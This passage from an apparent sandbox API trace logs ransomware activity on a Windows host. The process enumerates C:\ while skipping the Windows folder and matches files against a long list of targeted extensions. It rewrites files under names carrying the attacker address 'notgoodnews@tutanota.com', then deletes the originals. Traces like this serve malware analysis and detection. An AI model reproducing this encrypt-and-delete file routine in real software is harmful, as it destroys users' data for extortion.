dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.874] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.874] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.874] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0093.875] GetLastError () returned 0x0 [0093.875] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x13040, lpOverlapped=0x0) returned 1 [0093.877] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x13050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x13050, lpOverlapped=0x0) returned 1 [0093.879] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.879] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe2, lpOverlapped=0x0) returned 1 [0093.879] SetEndOfFile (hFile=0x388) returned 1 [0093.879] CloseHandle (hObject=0x388) returned 1 [0093.880] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.880] SetEndOfFile (hFile=0x2c4) returned 1 [0093.881] CloseHandle (hObject=0x2c4) returned 1 [0093.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.881] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 1 [0093.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.881] lstrlenW (lpString=".doc") returned 4 [0093.881] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.881] lstrlenW (lpString=".docx") returned 5 [0093.881] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0093.881] lstrlenW (lpString=".pdf") returned 4 [0093.881] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.881] lstrlenW (lpString=".xls") returned 4 [0093.881] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.881] lstrlenW (lpString=".xlsx") returned 5 [0093.881] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0093.882] lstrlenW (lpString=".ppt") returned 4 [0093.882] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.882] lstrlenW (lpString=".zip") returned 4 [0093.882] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.882] lstrlenW (lpString=".rar") returned 4 [0093.882] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.882] lstrlenW (lpString=".bz2") returned 4 [0093.882] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.882] lstrlenW (lpString=".7z") returned 3 [0093.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.882] lstrlenW (lpString=".dbf") returned 4 [0093.882] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.882] lstrlenW (lpString=".1cd") returned 4 [0093.882] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.882] lstrlenW (lpString=".jpg") returned 4 [0093.882] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.882] lstrlenW (lpString=".doc") returned 4 [0093.882] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.882] lstrlenW (lpString=".docx") returned 5 [0093.882] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0093.882] lstrlenW (lpString=".pdf") returned 4 [0093.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.882] lstrlenW (lpString=".xls") returned 4 [0093.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.882] lstrlenW (lpString=".xlsx") returned 5 [0093.882] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0093.882] lstrlenW (lpString=".ppt") returned 4 [0093.882] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.882] lstrlenW (lpString=".zip") returned 4 [0093.883] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.883] lstrlenW (lpString=".rar") returned 4 [0093.883] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.883] lstrlenW (lpString=".bz2") returned 4 [0093.883] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.883] lstrlenW (lpString=".7z") returned 3 [0093.883] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.883] lstrlenW (lpString=".dbf") returned 4 [0093.883] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.883] lstrlenW (lpString=".1cd") returned 4 [0093.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0093.883] lstrlenW (lpString=".jpg") returned 4 [0093.883] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.883] lstrcmpiW (lpString1=".0_144\\COPYRIGHT", lpString2=".NEWS") returned -1 [0093.883] lstrlenW (lpString="COPYRIGHT") returned 9 [0093.883] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.884] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3244) returned 1 [0093.884] CloseHandle (hObject=0x2c4) returned 1 [0093.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20 [0093.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.884] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.884] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.884] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.884] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0093.885] GetLastError () returned 0x0 [0093.885] ReadFile (hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0) Thread: id = 13 os_tid = 0xc0c [0060.870] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3730940 [0060.870] lstrlenW (lpString="C:") returned 2 [0060.870] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x4a9498 [0060.871] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0060.871] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0060.871] lstrlenW (lpString="$GetCurrent") returned 11 [0060.871] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0060.871] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3740948 [0060.872] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0060.872] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4a9598 [0060.880] FindNextFileW (in: hFindFile=0x4a9598, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0060.881] FindNextFileW (in: hFindFile=0x4a9598, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0060.881] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0060.881] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0060.882] lstrlenW (lpString="Logs") returned 4 [0060.882] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0060.882] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3780968 [0060.882] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0060.882] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582648 [0060.895] FindNextFileW (in: hFindFile=0x582648, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.895] FindNextFileW (in: hFindFile=0x582648, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0060.895] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0060.895] lstrlenW (lpString=".1cd") returned 4 [0060.895] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0060.895] lstrlenW (lpString=".3ds") returned 4 [0060.895] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0060.895] lstrlenW (lpString=".3fr") returned 4 [0060.895] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0060.895] lstrlenW (lpString=".3g2") returned 4 [0060.895] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0060.895] lstrlenW (lpString=".3gp") returned 4 [0060.895] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0060.895] lstrlenW (lpString=".7z") returned 3 [0060.895] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0060.895] lstrlenW (lpString=".accda") returned 6 [0060.895] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0060.895] lstrlenW (lpString=".accdb") returned 6 [0060.896] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0060.896] lstrlenW (lpString=".accdc") returned 6 [0060.896] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0060.896] lstrlenW (lpString=".accde") returned 6 [0060.896] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0060.896] lstrlenW (lpString=".accdt") returned 6 [0060.896] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0060.896] lstrlenW (lpString=".accdw") returned 6 [0060.896] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0060.896] lstrlenW (lpString=".adb") returned 4 [0060.896] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0060.896] lstrlenW (lpString=".adp") returned 4 [0060.896] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0060.896] lstrlenW (lpString=".ai") returned 3 [0060.896] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0060.896] lstrlenW (lpString=".ai3") returned 4 [0060.896] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0060.896] lstrlenW (lpString=".ai4") returned 4 [0060.896] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0060.896] lstrlenW (lpString=".ai5") returned 4 [0060.896] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0060.896] lstrlenW (lpString=".ai6") returned 4 [0060.896] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0060.896] lstrlenW (lpString=".ai7") returned 4 [0060.896] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0060.896] lstrlenW (lpString=".ai8") returned 4 [0060.896] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0060.896] lstrlenW (lpString=".anim") returned 5 [0060.896] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0060.896] lstrlenW (lpString=".arw") returned 4 [0060.896] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0060.896] lstrlenW (lpString=".as") returned 3 [0060.896] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0060.896] lstrlenW (lpString=".asa") returned 4 [0060.896] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0060.896] lstrlenW (lpString=".asc") returned 4 [0060.897] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".ascx") returned 5 [0060.897] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0060.897] lstrlenW (lpString=".asm") returned 4 [0060.897] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".asmx") returned 5 [0060.897] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0060.897] lstrlenW (lpString=".asp") returned 4 [0060.897] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".aspx") returned 5 [0060.897] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0060.897] lstrlenW (lpString=".asr") returned 4 [0060.897] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".asx") returned 4 [0060.897] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".avi") returned 4 [0060.897] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".avs") returned 4 [0060.897] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".backup") returned 7 [0060.897] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0060.897] lstrlenW (lpString=".bak") returned 4 [0060.897] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".bay") returned 4 [0060.897] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".bd") returned 3 [0060.897] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0060.897] lstrlenW (lpString=".bin") returned 4 [0060.897] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".bmp") returned 4 [0060.897] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".bz2") returned 4 [0060.897] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0060.897] lstrlenW (lpString=".c") returned 2 [0060.897] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0060.897] lstrlenW (lpString=".cdr") returned 4 [0060.898] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".cer") returned 4 [0060.898] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".cf") returned 3 [0060.898] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0060.898] lstrlenW (lpString=".cfc") returned 4 [0060.898] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".cfm") returned 4 [0060.898] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".cfml") returned 5 [0060.898] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0060.898] lstrlenW (lpString=".cfu") returned 4 [0060.898] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".chm") returned 4 [0060.898] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".cin") returned 4 [0060.898] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".class") returned 6 [0060.898] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0060.898] lstrlenW (lpString=".clx") returned 4 [0060.898] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".config") returned 7 [0060.898] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0060.898] lstrlenW (lpString=".cpp") returned 4 [0060.898] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".cr2") returned 4 [0060.898] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".crt") returned 4 [0060.898] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".crw") returned 4 [0060.898] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".cs") returned 3 [0060.898] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0060.898] lstrlenW (lpString=".css") returned 4 [0060.898] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0060.898] lstrlenW (lpString=".csv") returned 4 [0060.899] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".cub") returned 4 [0060.899] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".dae") returned 4 [0060.899] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".dat") returned 4 [0060.899] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".db") returned 3 [0060.899] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0060.899] lstrlenW (lpString=".dbf") returned 4 [0060.899] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".dbx") returned 4 [0060.899] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".dc3") returned 4 [0060.899] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".dcm") returned 4 [0060.899] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".dcr") returned 4 [0060.899] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".der") returned 4 [0060.899] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".dib") returned 4 [0060.899] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".dic") returned 4 [0060.899] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".dif") returned 4 [0060.899] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0060.899] lstrlenW (lpString=".divx") returned 5 [0060.900] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0060.900] lstrlenW (lpString=".djvu") returned 5 [0060.900] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0060.900] lstrlenW (lpString=".dng") returned 4 [0060.900] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0060.900] lstrlenW (lpString=".doc") returned 4 [0060.900] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0060.900] lstrlenW (lpString=".docm") returned 5 [0060.900] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0060.900] lstrlenW (lpString=".docx") returned 5 [0060.900] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0060.900] lstrlenW (lpString=".dot") returned 4 [0060.900] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0060.900] lstrlenW (lpString=".dotm") returned 5 [0060.900] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0060.900] lstrlenW (lpString=".dotx") returned 5 [0060.900] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0060.900] lstrlenW (lpString=".dpx") returned 4 [0060.900] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0060.900] lstrlenW (lpString=".dqy") returned 4 [0060.900] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0060.900] lstrlenW (lpString=".dsn") returned 4 [0060.900] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0060.900] lstrlenW (lpString=".dt") returned 3 [0060.900] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0060.900] lstrlenW (lpString=".dtd") returned 4 [0060.900] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0060.900] lstrlenW (lpString=".dwg") returned 4 [0060.900] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0060.900] lstrlenW (lpString=".dwt") returned 4 [0060.900] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0060.900] lstrlenW (lpString=".dx") returned 3 [0060.900] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0060.900] lstrlenW (lpString=".dxf") returned 4 [0060.900] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0060.900] lstrlenW (lpString=".edml") returned 5 [0060.900] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0060.900] lstrlenW (lpString=".efd") returned 4 [0060.901] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".elf") returned 4 [0060.901] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".emf") returned 4 [0060.901] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".emz") returned 4 [0060.901] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".epf") returned 4 [0060.901] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".eps") returned 4 [0060.901] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".epsf") returned 5 [0060.901] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0060.901] lstrlenW (lpString=".epsp") returned 5 [0060.901] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0060.901] lstrlenW (lpString=".erf") returned 4 [0060.901] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".exr") returned 4 [0060.901] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".f4v") returned 4 [0060.901] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".fido") returned 5 [0060.901] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0060.901] lstrlenW (lpString=".flm") returned 4 [0060.901] lstrcmpiW (lpString1=".flm", 